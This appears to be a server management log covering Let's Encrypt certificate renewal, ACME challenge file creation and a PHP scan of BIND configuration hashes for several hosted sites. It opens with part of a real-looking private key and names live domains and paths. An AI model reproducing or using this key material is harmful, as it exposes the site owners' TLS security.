c54oCMwvAgMBAAECggEABvMb1BYGoQ1RwoHM7dHIksoomJCbMTUZNMttB+wTrJT3
xIhzu5quA3WsKpfvO6fNLIlCjoN+LbAupBzyKbihKtBIN19A34Eok3AGRtBwFizb
u+dWZhF7fpQIUQbPmu24SuUVf2Nz+YkPhrXCKfOuJ0PVNU30M/75sJSK5D5v4kaY
x6VgIsL9hETgKcuZ9Fppnrm5BqYSzWfrScMEVRvbRYyMnleSYr95EwOPrqSkV8B+
1Sn7srx2Z2f3ZAw8hODX35qCvitLcpgsAUnTaw5/r+tINgyKBfsVRPkcm0iuMgxR
0f1A4S2AYH1bMXA5Alwk/dyxG2DXXf3ocyGwugQO8QKBgQDgFIeyVjgUlT8gyKnX
D3SJnRj98qojZkdpPiYEwlZxuU8AApNrMNRxhO4cB86swpUz4sfF+27VHj27mRIj
Giij25i8+EJe2BXnjkXLgbhQGovfJWjlE6mG/xklz4yd7oAls/siXDWNm2S64YTM
Augq0Qev64n33yB9YqsEvpIYNwKBgQC6kWWL/Kk5BFy1iYxfo4tpAR0seEAqcLLS
9flz7Qz9ZZf2yohV9c6E/BUf00AoP19pPYWwFjn2XLhKbRAseuyLmy2zeoEHL4hV
5A9mrhUkTLPBs4vsTngFJRpSJmxR9gh9lzwJvmK5Js9aDCAxx2MGAZggRJpE3rzI
WXBPo/P/yQKBgQCSDU+U8ZWD9PM8jw4EWtJ+j6KmgvBaOmP5OMTW/UQSw9G2E/e6
Og1+IEKCiqQu/nT5aKsFZCiNSDS8fbzQnFA43PzkznuUDgvY7WaYimhz7ZmVTHDe
Pr6UetkNSAZDOhzUdkcN0kQllE9Hb4562rowjiYQh9lZclle4FzPrtbSaQKBgA/i
iU7d+FqOcIZUa8tI1XnfSmia5Hu4lME5iD/CkzSQDdxJakpHX4obHIFVL0U+ABWp
01Qm0FCVnGtZ1eKzpKhOUhnR+GJwPZ9yh40qjUpF7Zg0fVllZPqrKg6MjvR7ikWH
NulteGJjV4xHNAaI/3lncVht/uSWQmScmN9vCjthAoGALw6hjkGFg1DzZbcx046K
WEtvylcZuaxMsMYFSI2+VR7YokN4NLgHOSmxOYytfPBO8UvZLLst1KAe4rP3W816
vUnYs5OmetXRMFwUyzCsptKSepQ2a3Pud7YmAfv2KuGTnI+O9JsEh+o76jLo7wYk
NKgdnjUcQKEXifNlwKYxqkc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-08 13:13:54: Establishing a connection
2026-01-09 06:00:03: Establishing a connection
2026-01-09 06:00:03: Establishing a connection
2026-01-09 06:00:03: 

PUT: /tmp/pkp194918

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-09 06:00:04: 

chmod 755 /tmp/pkp194918; /tmp/pkp194918; rm /tmp/pkp194918

2026-01-09 06:00:04: 


1


2026-01-09 06:00:05: Establishing a connection
2026-01-09 06:00:05: 

PUT: /tmp/pkp945618

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > rets25Vd70byZifS0DVYdM3o-J73HWJFZkQgQqhOun0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rets25Vd70byZifS0DVYdM3o-J73HWJFZkQgQqhOun0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rets25Vd70byZifS0DVYdM3o-J73HWJFZkQgQqhOun0


2026-01-09 06:00:05: 

chmod 755 /tmp/pkp945618; /tmp/pkp945618; rm /tmp/pkp945618

2026-01-09 06:00:05: 




2026-01-09 17:44:06: Establishing a connection
2026-01-09 17:44:17: Establishing a connection
2026-01-09 17:44:17: 

PUT: /tmp/pkp287127

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-09 17:44:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp287127; rm /tmp/pkp287127'

2026-01-09 17:44:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-09 17:44:24: Establishing a connection
2026-01-09 17:44:24: Establishing a connection
2026-01-09 17:44:24: 

PUT: /tmp/pkp520290

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-09 17:44:24: 

chmod 755 /tmp/pkp520290; /tmp/pkp520290; rm /tmp/pkp520290

2026-01-09 17:44:24: 


0


2026-01-09 17:44:51: Establishing a connection
2026-01-09 17:44:51: 

PUT: /tmp/pkp841521

#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt

cat > $temp_file <<'endmsg'
58:00:12:0a:87:41:69:1b:e4:9e:d1:2f:1a:e6:d8:96

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBiHP4YK7e2cucQWXEBbkFJPRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA5MTY0NjE5WhcNMjYwNDA5MTY0NjE4WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCvXnoSmqrX2q5i5qQ9gRyz15nbyCYPCoAUrRx9ZGdtWKlF1kRL
eqS4iot1lfx8HEcnF1OWC3dS3FR36P1lTbFaBz91FWDKQyayHcaP0lYlTHm8lkUr
CNzZRTg4tTZM6F6/Ug81AN+1HIYokoDPF/GreGbQb0tXb5KJ3ARNeXhr/4X7c3sx
4pGSOZbnBLbPr5nWlErvTEJTcL7EK4snQKd5tgShWCvks03EC/FbCwxkWMsb1QjE
svwaCL2qc6UG4g9wKbZUsC380Ts1fAO8Xv/Ttk5vgNhyLqAlpGD10aNMXmfIygqC
v8LXrEHSS1QK7w0cN7y22Vys44EfAIe6aaMZAgMBAAGjggIxMIICLTAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFCWpWVpywNcrx5VmEPrnGxfvm867MB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
